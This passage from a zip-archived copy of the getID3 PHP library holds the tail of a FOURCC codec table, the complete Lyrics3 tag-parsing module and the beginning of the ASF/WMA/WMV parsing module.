			NVT0	nVidia GeForce Texture (NVT0)
			NVT1	nVidia GeForce Texture (NVT1)
			NVT2	nVidia GeForce Texture (NVT2)
			NVT3	nVidia GeForce Texture (NVT3)
			NVT4	nVidia GeForce Texture (NVT4)
			NVT5	nVidia GeForce Texture (NVT5)
			PIXL	MiroXL, Pinnacle PCTV
			PDVC	I-O Data Device Digital Video Capture DV codec
			PGVV	Radius Video Vision
			PHMO	IBM Photomotion
			PIM1	MPEG Realtime (Pinnacle Cards)
			PIM2	Pegasus Imaging ?PIM2?
			PIMJ	Pegasus Imaging Lossless JPEG
			PVEZ	Horizons Technology PowerEZ
			PVMM	PacketVideo Corporation MPEG-4
			PVW2	Pegasus Imaging Wavelet Compression
			Q1.0	Q-Team\'s QPEG 1.0 (www.q-team.de)
			Q1.1	Q-Team\'s QPEG 1.1 (www.q-team.de)
			QPEG	Q-Team QPEG 1.0
			qpeq	Q-Team QPEG 1.1
			RGB 	Raw BGR32
			RGBA	Raw RGB w/ Alpha
			RMP4	REALmagic MPEG-4 (unauthorized XVID copy) (www.sigmadesigns.com)
			ROQV	Id RoQ File Video Decoder
			RPZA	Quicktime Apple Video (RPZA)
			RUD0	Rududu video codec (http://rududu.ifrance.com/rududu/)
			RV10	RealVideo 1.0 (aka RealVideo 5.0)
			RV13	RealVideo 1.0 (RV13)
			RV20	RealVideo G2
			RV30	RealVideo 8
			RV40	RealVideo 9
			RGBT	Raw RGB w/ Transparency
			RLE 	Microsoft Run Length Encoder
			RLE4	Run Length Encoded (4bpp, 16-color)
			RLE8	Run Length Encoded (8bpp, 256-color)
			RT21	Intel Indeo RealTime Video 2.1
			rv20	RealVideo G2
			rv30	RealVideo 8
			RVX 	Intel RDX (RVX )
			SMC 	Apple Graphics (SMC )
			SP54	Logitech Sunplus Sp54 Codec for Mustek GSmart Mini 2
			SPIG	Radius Spigot
			SVQ3	Sorenson Video 3 (Apple Quicktime 5)
			s422	Tekram VideoCap C210 YUV 4:2:2
			SDCC	Sun Communication Digital Camera Codec
			SFMC	CrystalNet Surface Fitting Method
			SMSC	Radius SMSC
			SMSD	Radius SMSD
			smsv	WorldConnect Wavelet Video
			SPIG	Radius Spigot
			SPLC	Splash Studios ACM Audio Codec (www.splashstudios.net)
			SQZ2	Microsoft VXTreme Video Codec V2
			STVA	ST Microelectronics CMOS Imager Data (Bayer)
			STVB	ST Microelectronics CMOS Imager Data (Nudged Bayer)
			STVC	ST Microelectronics CMOS Imager Data (Bunched)
			STVX	ST Microelectronics CMOS Imager Data (Extended CODEC Data Format)
			STVY	ST Microelectronics CMOS Imager Data (Extended CODEC Data Format with Correction Data)
			SV10	Sorenson Video R1
			SVQ1	Sorenson Video
			T420	Toshiba YUV 4:2:0
			TM2A	Duck TrueMotion Archiver 2.0 (www.duck.com)
			TVJP	Pinnacle/Truevision Targa 2000 board (TVJP)
			TVMJ	Pinnacle/Truevision Targa 2000 board (TVMJ)
			TY0N	Tecomac Low-Bit Rate Codec (www.tecomac.com)
			TY2C	Trident Decompression Driver
			TLMS	TeraLogic Motion Intraframe Codec (TLMS)
			TLST	TeraLogic Motion Intraframe Codec (TLST)
			TM20	Duck TrueMotion 2.0
			TM2X	Duck TrueMotion 2X
			TMIC	TeraLogic Motion Intraframe Codec (TMIC)
			TMOT	Horizons Technology TrueMotion S
			tmot	Horizons TrueMotion Video Compression
			TR20	Duck TrueMotion RealTime 2.0
			TSCC	TechSmith Screen Capture Codec
			TV10	Tecomac Low-Bit Rate Codec
			TY2N	Trident ?TY2N?
			U263	UB Video H.263/H.263+/H.263++ Decoder
			UMP4	UB Video MPEG 4 (www.ubvideo.com)
			UYNV	Nvidia UYVY packed 4:2:2
			UYVP	Evans & Sutherland YCbCr 4:2:2 extended precision
			UCOD	eMajix.com ClearVideo
			ULTI	IBM Ultimotion
			UYVY	UYVY packed 4:2:2
			V261	Lucent VX2000S
			VIFP	VFAPI Reader Codec (www.yks.ne.jp/~hori/)
			VIV1	FFmpeg H263+ decoder
			VIV2	Vivo H.263
			VQC2	Vector-quantised codec 2 (research) http://eprints.ecs.soton.ac.uk/archive/00001310/01/VTC97-js.pdf)
			VTLP	Alaris VideoGramPiX
			VYU9	ATI YUV (VYU9)
			VYUY	ATI YUV (VYUY)
			V261	Lucent VX2000S
			V422	Vitec Multimedia 24-bit YUV 4:2:2 Format
			V655	Vitec Multimedia 16-bit YUV 4:2:2 Format
			VCR1	ATI Video Codec 1
			VCR2	ATI Video Codec 2
			VCR3	ATI VCR 3.0
			VCR4	ATI VCR 4.0
			VCR5	ATI VCR 5.0
			VCR6	ATI VCR 6.0
			VCR7	ATI VCR 7.0
			VCR8	ATI VCR 8.0
			VCR9	ATI VCR 9.0
			VDCT	Vitec Multimedia Video Maker Pro DIB
			VDOM	VDOnet VDOWave
			VDOW	VDOnet VDOLive (H.263)
			VDTZ	Darim Vison VideoTizer YUV
			VGPX	Alaris VideoGramPiX
			VIDS	Vitec Multimedia YUV 4:2:2 CCIR 601 for V422
			VIVO	Vivo H.263 v2.00
			vivo	Vivo H.263
			VIXL	Miro/Pinnacle Video XL
			VLV1	VideoLogic/PURE Digital Videologic Capture
			VP30	On2 VP3.0
			VP31	On2 VP3.1
			VP6F	On2 TrueMotion VP6
			VX1K	Lucent VX1000S Video Codec
			VX2K	Lucent VX2000S Video Codec
			VXSP	Lucent VX1000SP Video Codec
			WBVC	Winbond W9960
			WHAM	Microsoft Video 1 (WHAM)
			WINX	Winnov Software Compression
			WJPG	AverMedia Winbond JPEG
			WMV1	Windows Media Video V7
			WMV2	Windows Media Video V8
			WMV3	Windows Media Video V9
			WNV1	Winnov Hardware Compression
			XYZP	Extended PAL format XYZ palette (www.riff.org)
			x263	Xirlink H.263
			XLV0	NetXL Video Decoder
			XMPG	Xing MPEG (I-Frame only)
			XVID	XviD MPEG-4 (www.xvid.org)
			XXAN	?XXAN?
			YU92	Intel YUV (YU92)
			YUNV	Nvidia Uncompressed YUV 4:2:2
			YUVP	Extended PAL format YUV palette (www.riff.org)
			Y211	YUV 2:1:1 Packed
			Y411	YUV 4:1:1 Packed
			Y41B	Weitek YUV 4:1:1 Planar
			Y41P	Brooktree PC1 YUV 4:1:1 Packed
			Y41T	Brooktree PC1 YUV 4:1:1 with transparency
			Y42B	Weitek YUV 4:2:2 Planar
			Y42T	Brooktree UYUV 4:2:2 with transparency
			Y422	ADS Technologies Copy of UYVY used in Pyro WebCam firewire camera
			Y800	Simple, single Y plane for monochrome images
			Y8  	Grayscale video
			YC12	Intel YUV 12 codec
			YUV8	Winnov Caviar YUV8
			YUV9	Intel YUV9
			YUY2	Uncompressed YUV 4:2:2
			YUYV	Canopus YUV
			YV12	YVU12 Planar
			YVU9	Intel YVU9 Planar (8-bpp Y plane, followed by 8-bpp 4x4 U and V planes)
			YVYU	YVYU 4:2:2 Packed
			ZLIB	Lossless Codec Library zlib compression (www.geocities.co.jp/Playtown-Denei/2837/LRC.htm)
			ZPEG	Metheus Video Zipper

		*/

		return getid3_lib::EmbeddedLookup($fourcc, $begin, __LINE__, __FILE__, 'riff-fourcc');
	}

	/**
	 * @param string $byteword
	 * @param bool   $signed
	 *
	 * @return int|float|false
	 */
	private function EitherEndian2Int($byteword, $signed=false) {
		if ($this->container == 'riff') {
			return getid3_lib::LittleEndian2Int($byteword, $signed);
		}
		return getid3_lib::BigEndian2Int($byteword, false, $signed);
	}

}
PKEWd[���
..module.tag.lyrics3.phpnu�[���<?php

/////////////////////////////////////////////////////////////////
/// getID3() by James Heinrich <info@getid3.org>               //
//  available at https://github.com/JamesHeinrich/getID3       //
//            or https://www.getid3.org                        //
//            or http://getid3.sourceforge.net                 //
//  see readme.txt for more details                            //
/////////////////////////////////////////////////////////////////
///                                                            //
// module.tag.lyrics3.php                                      //
// module for analyzing Lyrics3 tags                           //
// dependencies: module.tag.apetag.php (optional)              //
//                                                            ///
/////////////////////////////////////////////////////////////////

if (!defined('GETID3_INCLUDEPATH')) { // prevent path-exposing attacks that access modules directly on public webservers
	exit;
}
class getid3_lyrics3 extends getid3_handler
{
	/**
	 * @return bool
	 */
	public function Analyze() {
		$info = &$this->getid3->info;

		// http://www.volweb.cz/str/tags.htm

		if (!getid3_lib::intValueSupported($info['filesize'])) {
			$this->warning('Unable to check for Lyrics3 because file is larger than '.round(PHP_INT_MAX / 1073741824).'GB');
			return false;
		}

		$this->fseek((0 - 128 - 9 - 6), SEEK_END);          // end - ID3v1 - "LYRICSEND" - [Lyrics3size]
		$lyrics3offset = null;
		$lyrics3version = null;
		$lyrics3size   = null;
		$lyrics3_id3v1 = $this->fread(128 + 9 + 6);
		$lyrics3lsz    = (int) substr($lyrics3_id3v1, 0, 6); // Lyrics3size
		$lyrics3end    = substr($lyrics3_id3v1,  6,   9); // LYRICSEND or LYRICS200
		$id3v1tag      = substr($lyrics3_id3v1, 15, 128); // ID3v1

		if ($lyrics3end == 'LYRICSEND') {
			// Lyrics3v1, ID3v1, no APE

			$lyrics3size    = 5100;
			$lyrics3offset  = $info['filesize'] - 128 - $lyrics3size;
			$lyrics3version = 1;

		} elseif ($lyrics3end == 'LYRICS200') {
			// Lyrics3v2, ID3v1, no APE

			// LSZ = lyrics + 'LYRICSBEGIN'; add 6-byte size field; add 'LYRICS200'
			$lyrics3size    = $lyrics3lsz + 6 + strlen('LYRICS200');
			$lyrics3offset  = $info['filesize'] - 128 - $lyrics3size;
			$lyrics3version = 2;

		} elseif (substr(strrev($lyrics3_id3v1), 0, 9) == strrev('LYRICSEND')) {
			// Lyrics3v1, no ID3v1, no APE

			$lyrics3size    = 5100;
			$lyrics3offset  = $info['filesize'] - $lyrics3size;
			$lyrics3version = 1;
			$lyrics3offset  = $info['filesize'] - $lyrics3size;

		} elseif (substr(strrev($lyrics3_id3v1), 0, 9) == strrev('LYRICS200')) {

			// Lyrics3v2, no ID3v1, no APE

			$lyrics3size    = (int) strrev(substr(strrev($lyrics3_id3v1), 9, 6)) + 6 + strlen('LYRICS200'); // LSZ = lyrics + 'LYRICSBEGIN'; add 6-byte size field; add 'LYRICS200'
			$lyrics3offset  = $info['filesize'] - $lyrics3size;
			$lyrics3version = 2;

		} else {

			if (isset($info['ape']['tag_offset_start']) && ($info['ape']['tag_offset_start'] > 15)) {

				$this->fseek($info['ape']['tag_offset_start'] - 15);
				$lyrics3lsz = $this->fread(6);
				$lyrics3end = $this->fread(9);

				if ($lyrics3end == 'LYRICSEND') {
					// Lyrics3v1, APE, maybe ID3v1

					$lyrics3size    = 5100;
					$lyrics3offset  = $info['ape']['tag_offset_start'] - $lyrics3size;
					$info['avdataend'] = $lyrics3offset;
					$lyrics3version = 1;
					$this->warning('APE tag located after Lyrics3, will probably break Lyrics3 compatability');

				} elseif ($lyrics3end == 'LYRICS200') {
					// Lyrics3v2, APE, maybe ID3v1

					$lyrics3size    = $lyrics3lsz + 6 + strlen('LYRICS200'); // LSZ = lyrics + 'LYRICSBEGIN'; add 6-byte size field; add 'LYRICS200'
					$lyrics3offset  = $info['ape']['tag_offset_start'] - $lyrics3size;
					$lyrics3version = 2;
					$this->warning('APE tag located after Lyrics3, will probably break Lyrics3 compatability');

				}

			}

		}

		if (isset($lyrics3offset) && isset($lyrics3version) && isset($lyrics3size)) {
			$info['avdataend'] = $lyrics3offset;
			$this->getLyrics3Data($lyrics3offset, $lyrics3version, $lyrics3size);

			if (!isset($info['ape'])) {
				if (isset($info['lyrics3']['tag_offset_start'])) {
					$GETID3_ERRORARRAY = &$info['warning'];
					getid3_lib::IncludeDependency(GETID3_INCLUDEPATH.'module.tag.apetag.php', __FILE__, true);
					$getid3_temp = new getID3();
					$getid3_temp->openfile($this->getid3->filename, $this->getid3->info['filesize'], $this->getid3->fp);
					$getid3_apetag = new getid3_apetag($getid3_temp);
					$getid3_apetag->overrideendoffset = $info['lyrics3']['tag_offset_start'];
					$getid3_apetag->Analyze();
					if (!empty($getid3_temp->info['ape'])) {
						$info['ape'] = $getid3_temp->info['ape'];
					}
					if (!empty($getid3_temp->info['replay_gain'])) {
						$info['replay_gain'] = $getid3_temp->info['replay_gain'];
					}
					unset($getid3_temp, $getid3_apetag);
				} else {
					$this->warning('Lyrics3 and APE tags appear to have become entangled (most likely due to updating the APE tags with a non-Lyrics3-aware tagger)');
				}
			}

		}

		return true;
	}

	/**
	 * @param int $endoffset
	 * @param int $version
	 * @param int $length
	 *
	 * @return bool
	 */
	public function getLyrics3Data($endoffset, $version, $length) {
		// http://www.volweb.cz/str/tags.htm

		$info = &$this->getid3->info;

		if (!getid3_lib::intValueSupported($endoffset)) {
			$this->warning('Unable to check for Lyrics3 because file is larger than '.round(PHP_INT_MAX / 1073741824).'GB');
			return false;
		}

		$this->fseek($endoffset);
		if ($length <= 0) {
			return false;
		}
		$rawdata = $this->fread($length);

		$ParsedLyrics3 = array();

		$ParsedLyrics3['raw']['lyrics3version'] = $version;
		$ParsedLyrics3['raw']['lyrics3tagsize'] = $length;
		$ParsedLyrics3['tag_offset_start']      = $endoffset;
		$ParsedLyrics3['tag_offset_end']        = $endoffset + $length - 1;

		if (substr($rawdata, 0, 11) != 'LYRICSBEGIN') {
			if (strpos($rawdata, 'LYRICSBEGIN') !== false) {

				$this->warning('"LYRICSBEGIN" expected at '.$endoffset.' but actually found at '.($endoffset + strpos($rawdata, 'LYRICSBEGIN')).' - this is invalid for Lyrics3 v'.$version);
				$info['avdataend'] = $endoffset + strpos($rawdata, 'LYRICSBEGIN');
				$rawdata = substr($rawdata, strpos($rawdata, 'LYRICSBEGIN'));
				$length = strlen($rawdata);
				$ParsedLyrics3['tag_offset_start'] = $info['avdataend'];
				$ParsedLyrics3['raw']['lyrics3tagsize'] = $length;

			} else {

				$this->error('"LYRICSBEGIN" expected at '.$endoffset.' but found "'.substr($rawdata, 0, 11).'" instead');
				return false;

			}

		}

		switch ($version) {

			case 1:
				if (substr($rawdata, strlen($rawdata) - 9, 9) == 'LYRICSEND') {
					$ParsedLyrics3['raw']['LYR'] = trim(substr($rawdata, 11, strlen($rawdata) - 11 - 9));
					$this->Lyrics3LyricsTimestampParse($ParsedLyrics3);
				} else {
					$this->error('"LYRICSEND" expected at '.($this->ftell() - 11 + $length - 9).' but found "'.substr($rawdata, strlen($rawdata) - 9, 9).'" instead');
					return false;
				}
				break;

			case 2:
				if (substr($rawdata, strlen($rawdata) - 9, 9) == 'LYRICS200') {
					$ParsedLyrics3['raw']['unparsed'] = substr($rawdata, 11, strlen($rawdata) - 11 - 9 - 6); // LYRICSBEGIN + LYRICS200 + LSZ
					$rawdata = $ParsedLyrics3['raw']['unparsed'];
					while (strlen($rawdata) > 0) {
						$fieldname = substr($rawdata, 0, 3);
						$fieldsize = (int) substr($rawdata, 3, 5);
						$ParsedLyrics3['raw'][$fieldname] = substr($rawdata, 8, $fieldsize);
						$rawdata = substr($rawdata, 3 + 5 + $fieldsize);
					}

					if (isset($ParsedLyrics3['raw']['IND'])) {
						$i = 0;
						$flagnames = array('lyrics', 'timestamps', 'inhibitrandom');
						foreach ($flagnames as $flagname) {
							if (strlen($ParsedLyrics3['raw']['IND']) > $i++) {
								$ParsedLyrics3['flags'][$flagname] = $this->IntString2Bool(substr($ParsedLyrics3['raw']['IND'], $i, 1 - 1));
							}
						}
					}

					$fieldnametranslation = array('ETT'=>'title', 'EAR'=>'artist', 'EAL'=>'album', 'INF'=>'comment', 'AUT'=>'author');
					foreach ($fieldnametranslation as $key => $value) {
						if (isset($ParsedLyrics3['raw'][$key])) {
							$ParsedLyrics3['comments'][$value][] = trim($ParsedLyrics3['raw'][$key]);
						}
					}

					if (isset($ParsedLyrics3['raw']['IMG'])) {
						$imagestrings = explode("\r\n", $ParsedLyrics3['raw']['IMG']);
						foreach ($imagestrings as $key => $imagestring) {
							if (strpos($imagestring, '||') !== false) {
								$imagearray = explode('||', $imagestring);
								$ParsedLyrics3['images'][$key]['filename']     =                                (isset($imagearray[0]) ? $imagearray[0] : '');
								$ParsedLyrics3['images'][$key]['description']  =                                (isset($imagearray[1]) ? $imagearray[1] : '');
								$ParsedLyrics3['images'][$key]['timestamp']    = $this->Lyrics3Timestamp2Seconds(isset($imagearray[2]) ? $imagearray[2] : '');
							}
						}
					}
					if (isset($ParsedLyrics3['raw']['LYR'])) {
						$this->Lyrics3LyricsTimestampParse($ParsedLyrics3);
					}
				} else {
					$this->error('"LYRICS200" expected at '.($this->ftell() - 11 + $length - 9).' but found "'.substr($rawdata, strlen($rawdata) - 9, 9).'" instead');
					return false;
				}
				break;

			default:
				$this->error('Cannot process Lyrics3 version '.$version.' (only v1 and v2)');
				return false;
		}


		if (isset($info['id3v1']['tag_offset_start']) && ($info['id3v1']['tag_offset_start'] <= $ParsedLyrics3['tag_offset_end'])) {
			$this->warning('ID3v1 tag information ignored since it appears to be a false synch in Lyrics3 tag data');
			unset($info['id3v1']);
			foreach ($info['warning'] as $key => $value) {
				if ($value == 'Some ID3v1 fields do not use NULL characters for padding') {
					unset($info['warning'][$key]);
					sort($info['warning']);
					break;
				}
			}
		}

		$info['lyrics3'] = $ParsedLyrics3;

		return true;
	}

	/**
	 * @param string $rawtimestamp
	 *
	 * @return int|false
	 */
	public function Lyrics3Timestamp2Seconds($rawtimestamp) {
		if (preg_match('#^\\[([0-9]{2}):([0-9]{2})\\]$#', $rawtimestamp, $regs)) {
			return (int) (($regs[1] * 60) + $regs[2]);
		}
		return false;
	}

	/**
	 * @param array $Lyrics3data
	 *
	 * @return bool
	 */
	public function Lyrics3LyricsTimestampParse(&$Lyrics3data) {
		$lyricsarray = explode("\r\n", $Lyrics3data['raw']['LYR']);
		$notimestamplyricsarray = array();
		foreach ($lyricsarray as $key => $lyricline) {
			$regs = array();
			unset($thislinetimestamps);
			while (preg_match('#^(\\[[0-9]{2}:[0-9]{2}\\])#', $lyricline, $regs)) {
				$thislinetimestamps[] = $this->Lyrics3Timestamp2Seconds($regs[0]);
				$lyricline = str_replace($regs[0], '', $lyricline);
			}
			$notimestamplyricsarray[$key] = $lyricline;
			if (isset($thislinetimestamps) && is_array($thislinetimestamps)) {
				sort($thislinetimestamps);
				foreach ($thislinetimestamps as $timestampkey => $timestamp) {
					if (isset($Lyrics3data['synchedlyrics'][$timestamp])) {
						// timestamps only have a 1-second resolution, it's possible that multiple lines
						// could have the same timestamp, if so, append
						$Lyrics3data['synchedlyrics'][$timestamp] .= "\r\n".$lyricline;
					} else {
						$Lyrics3data['synchedlyrics'][$timestamp] = $lyricline;
					}
				}
			}
		}
		$Lyrics3data['unsynchedlyrics'] = implode("\r\n", $notimestamplyricsarray);
		if (isset($Lyrics3data['synchedlyrics']) && is_array($Lyrics3data['synchedlyrics'])) {
			ksort($Lyrics3data['synchedlyrics']);
		}
		return true;
	}

	/**
	 * @param string $char
	 *
	 * @return bool|null
	 */
	public function IntString2Bool($char) {
		if ($char == '1') {
			return true;
		} elseif ($char == '0') {
			return false;
		}
		return null;
	}
}
PKEWd[L��module.audio-video.asf.phpnu�[���<?php
/////////////////////////////////////////////////////////////////
/// getID3() by James Heinrich <info@getid3.org>               //
//  available at https://github.com/JamesHeinrich/getID3       //
//            or https://www.getid3.org                        //
//            or http://getid3.sourceforge.net                 //
//  see readme.txt for more details                            //
/////////////////////////////////////////////////////////////////
//                                                             //
// module.audio-video.asf.php                                  //
// module for analyzing ASF, WMA and WMV files                 //
// dependencies: module.audio-video.riff.php                   //
//                                                            ///
/////////////////////////////////////////////////////////////////

if (!defined('GETID3_INCLUDEPATH')) { // prevent path-exposing attacks that access modules directly on public webservers
	exit;
}
getid3_lib::IncludeDependency(GETID3_INCLUDEPATH.'module.audio-video.riff.php', __FILE__, true);

class getid3_asf extends getid3_handler
{
	protected static $ASFIndexParametersObjectIndexSpecifiersIndexTypes = array(
		1 => 'Nearest Past Data Packet',
		2 => 'Nearest Past Media Object',
		3 => 'Nearest Past Cleanpoint'
	);

	protected static $ASFMediaObjectIndexParametersObjectIndexSpecifiersIndexTypes = array(
		1 => 'Nearest Past Data Packet',
		2 => 'Nearest Past Media Object',
		3 => 'Nearest Past Cleanpoint',
		0xFF => 'Frame Number Offset'
	);

	protected static $ASFTimecodeIndexParametersObjectIndexSpecifiersIndexTypes = array(
		2 => 'Nearest Past Media Object',
		3 => 'Nearest Past Cleanpoint'
	);

	/**
	 * @param getID3 $getid3
	 */
	public function __construct(getID3 $getid3) {
		parent::__construct($getid3);  // extends getid3_handler::__construct()

		// initialize all GUID constants
		$GUIDarray = $this->KnownGUIDs();
		foreach ($GUIDarray as $GUIDname => $hexstringvalue) {
			if (!defined($GUIDname)) {
				define($GUIDname, $this->GUIDtoBytestring($hexstringvalue));
			}
		}
	}

	/**
	 * @return bool
	 */
	public function Analyze() {
		$info = &$this->getid3->info;

		// Shortcuts
		$thisfile_audio = &$info['audio'];
		$thisfile_video = &$info['video'];
		$info['asf']  = array();
		$thisfile_asf = &$info['asf'];
		$thisfile_asf['comments'] = array();
		$thisfile_asf_comments    = &$thisfile_asf['comments'];
		$thisfile_asf['header_object'] = array();
		$thisfile_asf_headerobject     = &$thisfile_asf['header_object'];


		// ASF structure:
		// * Header Object [required]
		//   * File Properties Object [required]   (global file attributes)
		//   * Stream Properties Object [required] (defines media stream & characteristics)
		//   * Header Extension Object [required]  (additional functionality)
		//   * Content Description Object          (bibliographic information)
		//   * Script Command Object               (commands for during playback)
		//   * Marker Object                       (named jumped points within the file)
		// * Data Object [required]
		//   * Data Packets
		// * Index Object

		// Header Object: (mandatory, one only)
		// Field Name                   Field Type   Size (bits)
		// Object ID                    GUID         128             // GUID for header object - GETID3_ASF_Header_Object
		// Object Size                  QWORD        64              // size of header object, including 30 bytes of Header Object header
		// Number of Header Objects     DWORD        32              // number of objects in header object
		// Reserved1                    BYTE         8               // hardcoded: 0x01
		// Reserved2                    BYTE         8               // hardcoded: 0x02

		$info['fileformat'] = 'asf';

		$this->fseek($info['avdataoffset']);
		$HeaderObjectData = $this->fread(30);

		$thisfile_asf_headerobject['objectid']      = substr($HeaderObjectData, 0, 16);
		$thisfile_asf_headerobject['objectid_guid'] = $this->BytestringToGUID($thisfile_asf_headerobject['objectid']);
		if ($thisfile_asf_headerobject['objectid'] != GETID3_ASF_Header_Object) {
			unset($info['fileformat'], $info['asf']);
			return $this->error('ASF header GUID {'.$this->BytestringToGUID($thisfile_asf_headerobject['objectid']).'} does not match expected "GETID3_ASF_Header_Object" GUID {'.$this->BytestringToGUID(GETID3_ASF_Header_Object).'}');
		}
		$thisfile_asf_headerobject['objectsize']    = getid3_lib::LittleEndian2Int(substr($HeaderObjectData, 16, 8));
		$thisfile_asf_headerobject['headerobjects'] = getid3_lib::LittleEndian2Int(substr($HeaderObjectData, 24, 4));
		$thisfile_asf_headerobject['reserved1']     = getid3_lib::LittleEndian2Int(substr($HeaderObjectData, 28, 1));
		$thisfile_asf_headerobject['reserved2']     = getid3_lib::LittleEndian2Int(substr($HeaderObjectData, 29, 1));

		$NextObjectOffset = $this->ftell();
		$ASFHeaderData = $this->fread($thisfile_asf_headerobject['objectsize'] - 30);
		$offset = 0;
		$thisfile_asf_streambitratepropertiesobject = array();
		$thisfile_asf_codeclistobject = array();
		$StreamPropertiesObjectData = array();

		for ($HeaderObjectsCounter = 0; $HeaderObjectsCounter < $thisfile_asf_headerobject['headerobjects']; $HeaderObjectsCounter++) {
			$NextObjectGUID = substr($ASFHeaderData, $offset, 16);
			$offset += 16;
			$NextObjectGUIDtext = $this->BytestringToGUID($NextObjectGUID);
			$NextObjectSize = getid3_lib::LittleEndian2Int(substr($ASFHeaderData, $offset, 8));
			$offset += 8;
			switch ($NextObjectGUID) {

				case GETID3_ASF_File_Properties_Object:
					// File Properties Object: (mandatory, one only)
					// Field Name                   Field Type   Size (bits)
					// Object ID                    GUID         128             // GUID for file properties object - GETID3_ASF_File_Properties_Object
					// Object Size                  QWORD        64              // size of file properties object, including 104 bytes of File Properties Object header
					// File ID                      GUID         128             // unique ID - identical to File ID in Data Object
					// File Size                    QWORD        64              // entire file in bytes. Invalid if Broadcast Flag == 1
					// Creation Date                QWORD        64              // date & time of file creation. Maybe invalid if Broadcast Flag == 1
					// Data Packets Count           QWORD        64              // number of data packets in Data Object. Invalid if Broadcast Flag == 1
					// Play Duration                QWORD        64              // playtime, in 100-nanosecond units. Invalid if Broadcast Flag == 1
					// Send Duration                QWORD        64              // time needed to send file, in 100-nanosecond units. Players can ignore this value. Invalid if Broadcast Flag == 1
					// Preroll                      QWORD        64              // time to buffer data before starting to play file, in 1-millisecond units. If <> 0, PlayDuration and PresentationTime have been offset by this amount
					// Flags                        DWORD        32              //
					// * Broadcast Flag             bits         1  (0x01)       // file is currently being written, some header values are invalid
					// * Seekable Flag              bits         1  (0x02)       // is file seekable
					// * Reserved                   bits         30 (0xFFFFFFFC) // reserved - set to zero
					// Minimum Data Packet Size     DWORD        32              // in bytes. should be same as Maximum Data Packet Size. Invalid if Broadcast Flag == 1
					// Maximum Data Packet Size     DWORD        32              // in bytes. should be same as Minimum Data Packet Size. Invalid if Broadcast Flag == 1
					// Maximum Bitrate              DWORD        32              // maximum instantaneous bitrate in bits per second for entire file, including all data streams and ASF overhead

					// shortcut
					$thisfile_asf['file_properties_object'] = array();
					$thisfile_asf_filepropertiesobject      = &$thisfile_asf['file_properties_object'];

					$thisfile_asf_filepropertiesobject['offset']             = $NextObjectOffset + $offset;
					$thisfile_asf_filepropertiesobject['objectid']           = $NextObjectGUID;
					$thisfile_asf_filepropertiesobject['objectid_guid']      = $NextObjectGUIDtext;
					$thisfile_asf_filepropertiesobject['objectsize']         = $NextObjectSize;
					$thisfile_asf_filepropertiesobject['fileid']             = substr($ASFHeaderData, $offset, 16);
					$offset += 16;
					$thisfile_asf_filepropertiesobject['fileid_guid']        = $this->BytestringToGUID($thisfile_asf_filepropertiesobject['fileid']);
					$thisfile_asf_filepropertiesobject['filesize']           = getid3_lib::LittleEndian2Int(substr($ASFHeaderData, $offset, 8));
					$offset += 8;
					$thisfile_asf_filepropertiesobject['creation_date']      = getid3_lib::LittleEndian2Int(substr($ASFHeaderData, $offset, 8));
					$thisfile_asf_filepropertiesobject['creation_date_unix'] = $this->FILETIMEtoUNIXtime($thisfile_asf_filepropertiesobject['creation_date']);
					$offset += 8;
					$thisfile_asf_filepropertiesobject['data_packets']       = getid3_lib::LittleEndian2Int(substr($ASFHeaderData, $offset, 8));
					$offset += 8;
					$thisfile_asf_filepropertiesobject['play_duration']      = getid3_lib::LittleEndian2Int(substr($ASFHeaderData, $offset, 8));
					$offset += 8;
					$thisfile_asf_filepropertiesobject['send_duration']      = getid3_lib::LittleEndian2Int(substr($ASFHeaderData, $offset, 8));
					$offset += 8;
					$thisfile_asf_filepropertiesobject['preroll']            = getid3_lib::LittleEndian2Int(substr($ASFHeaderData, $offset, 8));
					$offset += 8;
					$thisfile_asf_filepropertiesobject['flags_raw']          = getid3_lib::LittleEndian2Int(substr($ASFHeaderData, $offset, 4));
					$offset += 4;
					$thisfile_asf_filepropertiesobject['flags']['broadcast'] = (bool) ($thisfile_asf_filepropertiesobject['flags_raw'] & 0x0001);
					$thisfile_asf_filepropertiesobject['flags']['seekable']  = (bool) ($thisfile_asf_filepropertiesobject['flags_raw'] & 0x0002);

					$thisfile_asf_filepropertiesobject['min_packet_size']    = getid3_lib::LittleEndian2Int(substr($ASFHeaderData, $offset, 4));
					$offset += 4;
					$thisfile_asf_filepropertiesobject['max_packet_size']    = getid3_lib::LittleEndian2Int(substr($ASFHeaderData, $offset, 4));
					$offset += 4;
					$thisfile_asf_filepropertiesobject['max_bitrate']        = getid3_lib::LittleEndian2Int(substr($ASFHeaderData, $offset, 4));
					$offset += 4;

					if ($thisfile_asf_filepropertiesobject['flags']['broadcast']) {

						// broadcast flag is set, some values invalid
						unset($thisfile_asf_filepropertiesobject['filesize']);
						unset($thisfile_asf_filepropertiesobject['data_packets']);
						unset($thisfile_asf_filepropertiesobject['play_duration']);
						unset($thisfile_asf_filepropertiesobject['send_duration']);
						unset($thisfile_asf_filepropertiesobject['min_packet_size']);
						unset($thisfile_asf_filepropertiesobject['max_packet_size']);

					} else {

						// broadcast flag NOT set, perform calculations
						$info['playtime_seconds'] = ($thisfile_asf_filepropertiesobject['play_duration'] / 10000000) - ($thisfile_asf_filepropertiesobject['preroll'] / 1000);

						//$info['bitrate'] = $thisfile_asf_filepropertiesobject['max_bitrate'];
						$info['bitrate'] = getid3_lib::SafeDiv($thisfile_asf_filepropertiesobject['filesize'] * 8, $info['playtime_seconds']);
					}
					break;

				case GETID3_ASF_Stream_Properties_Object:
					// Stream Properties Object: (mandatory, one per media stream)
					// Field Name                   Field Type   Size (bits)
					// Object ID                    GUID         128             // GUID for stream properties object - GETID3_ASF_Stream_Properties_Object
					// Object Size                  QWORD        64              // size of stream properties object, including 78 bytes of Stream Properties Object header
					// Stream Type                  GUID         128             // GETID3_ASF_Audio_Media, GETID3_ASF_Video_Media or GETID3_ASF_Command_Media
					// Error Correction Type        GUID         128             // GETID3_ASF_Audio_Spread for audio-only streams, GETID3_ASF_No_Error_Correction for other stream types
					// Time Offset                  QWORD        64              // 100-nanosecond units. typically zero. added to all timestamps of samples in the stream
					// Type-Specific Data Length    DWORD        32              // number of bytes for Type-Specific Data field
					// Error Correction Data Length DWORD        32              // number of bytes for Error Correction Data field
					// Flags                        WORD         16              //
					// * Stream Number              bits         7 (0x007F)      // number of this stream.  1 <= valid <= 127
					// * Reserved                   bits         8 (0x7F80)      // reserved - set to zero
					// * Encrypted Content Flag     bits         1 (0x8000)      // stream contents encrypted if set
					// Reserved                     DWORD        32              // reserved - set to zero
					// Type-Specific Data           BYTESTREAM   variable        // type-specific format data, depending on value of Stream Type
